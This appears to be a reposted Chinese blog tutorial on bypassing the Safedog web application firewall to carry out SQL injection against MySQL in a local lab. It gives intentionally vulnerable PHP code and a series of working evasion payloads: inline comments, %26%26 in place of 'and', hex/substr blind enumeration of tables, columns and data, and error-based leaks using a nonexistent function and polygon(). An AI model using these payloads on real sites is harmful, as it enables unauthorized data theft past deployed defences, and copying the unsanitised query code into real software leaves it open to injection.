mysql特性绕过安全狗_绕过安全狗新版进行SQL注入

前言

在圈子见到某师傅过了安全狗然后注入,然后自己手痒

也搭了个环境进行测试。期间搭建环境各种坑….

不过后面还是有个不错的结果的

c9d0994ea67aeb5f0b6cb6711ffa5139.png

正文

首先我是用phpstudy+安全狗4.0搭建的环境

一开始找不到apache名称,按照网上的来整也不行(一堆重复的沙雕)

解决方法:

以管理员权限运行cmd,进入apache/bin目录

httpd -k install -n apache2.4

以管理员权限运行cmd,进入mysql/bin目录

mysqld -k install -n MySQla

php代码如下

$username="root";

$password="root";

$host="localhost:3306";

$database="test";

$con=mysqli_connect($host,$username,$password,$database);

if(!$con){

exit("Connect mysql faild....");

}

if(isset($_GET['id'])){

$sql="select * from demo where id=".$_GET['id'];

echo $sql;

echo "
";

$cha=mysqli_query($con,$sql);

$jg=mysqli_fetch_array($cha);

var_dump($jg);

}

?>

数据库表和字段如下

4b6692945bc174937362553ffc74b651.png

尝试and 1=1和and 1=2毫无疑问被拦截了

0671ac544d19b84650762f2c29e8e1a8.png

使用 %26%26 True 和 %26%26 False

%26=&

&=and

b031713cae37bbbc7dbfa1db128996fc.png

501fa2b3c71aed9c7c023dda48ae7fd3.png

使用Xor True 和 Xor False 也不拦

bf738e1ea0a4208b19764d249c0b6450.png

cd55bc17555135e35ea47e01a5cd8687.png

order内联注释就可以绕过

http://127.0.0.1/sqli.php?id=1/**//*!order*//**//*!by*//**//*!1*/

f35f7b6db09e936583255603193651d6.png

101f40919bcb235ef56ea485d3910bdd.png

union select卡住了。。。怎么也绕不过,后面改去整盲注了

932588d2da28ae681d1f05ce28208963.png

and length(database())=8被杀,后面看了网上的文章,@@version database/**/() 这样写不会被杀

http://127.0.0.1/sqli.php?id=1 %26%26 (length(database/**/())=4)

e5db685de73a0211ac342a25b268012f.png

http://127.0.0.1/sqli.php?id=1 %26%26 (ascii(@@version)=53)

3b7fbcca596af0a0cf8fe5dc4d9b44cd.png

判断有多少个表

http://127.0.0.1/sqli.php?id=1 %26%26 (1=(select count(/*!table_name*/) from information_schema.tables where table_schema=0x74657374))

3319fde77dac39e9f522bf20909fd004.png

猜表,由于这里使用ascii会被拦截,还有table_name也拦截

50fd70d27eb44d76584e5017f0b67a83.png

使用hex函数代替ascii函数,使用count(/!table_name/)

http://127.0.0.1/sqli.php?id=1 %26%26 (hex(substr((select concat(/*!table_name*/) from information_schema.tables where table_schema=0x74657374 limit 0,1),1,1)))

93024d552b32330be72dc8887317bda8.png

http://127.0.0.1/sqli.php?id=1 %26%26 (hex(substr((select concat(/*!table_name*/) from information_schema.tables where table_schema=0x74657374 limit 0,1),1,1))=64)

2e2a96e599cb8526bf218903dc4bb323.png

猜字段个数

http://127.0.0.1/sqli.php?id=1 %26%26 (2=(select count(/*!column_name*/) from information_schema.columns where table_name=0x64656D6F))

2b633186a4e8817c620af66b182ef70a.png

猜字段

http://127.0.0.1/sqli.php?id=1 %26%26 (hex(substr((select concat(/*!column_name*/) from information_schema.columns where table_name=0x64656D6F limit 0,1),1,1)))

e96bb6e5b42e3ce3a8f8efadd4e318b2.png

http://127.0.0.1/sqli.php?id=1 %26%26 (hex(substr((select concat(/*!column_name*/) from information_schema.columns where table_name=0x64656D6F limit 0,1),1,1))=69)v

b672e9be3d92b91c877c76af998631d8.png

猜字段内容有多少个

http://127.0.0.1/sqli.php?id=1 %26%26 (1=(select count(/*!name*/) from demo))

*!name* from demo)))

猜字段内容

http://127.0.0.1/sqli.php?id=1 %26%26 (hex(substr((select concat(/*!name*/) from demo limit 0,1),1,1))=64)

4183976d88089984476f505b7731ba19.png

报错注入绕过安全狗

修改php代码

$username="root";

$password="root";

$host="localhost:3306";

$database="test";

$con=mysqli_connect($host,$username,$password,$database);

if(!$con){

exit("Connect mysql faild....");

}

if(isset($_GET['id'])){

$sql="select * from demo where id=".$_GET['id'];

echo $sql;

echo "
";

$cha=mysqli_query($con,$sql);

$jg=mysqli_fetch_array($cha);

if(!isset($jg)){

$error=mysqli_error($con);

echo $error;

exit();

}

var_dump($jg);

}

?>

updatexml(1,,1) #安全狗正则匹配(1,内容,1)不论里面是什么都杀,还有过滤concat(0x7e,,0x7e) 总之过滤了逗号,然后各种报错注入折腾了半天

1a6d517e877ceadc1c98d1a546ce5d44.png

然后从印象笔记翻出一篇文章= =里面用的操作可真骚

http://127.0.0.1/sqli.php?id=1-a()

用一个不存在的函数即可获取数据库名

0ec32acca8f1f2d609ee941bfd64dd5a.png

输入一个存在的列名即可获取:数据库名,表名,字段名

可以拿sqlmap跑字段名的字典配合burp爆破

http://127.0.0.1/sqli.php?id=1 %26%26 polygon(id)

….搞不出了搞不出了。。,告辞

转载请声明:转自422926799.github.io

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值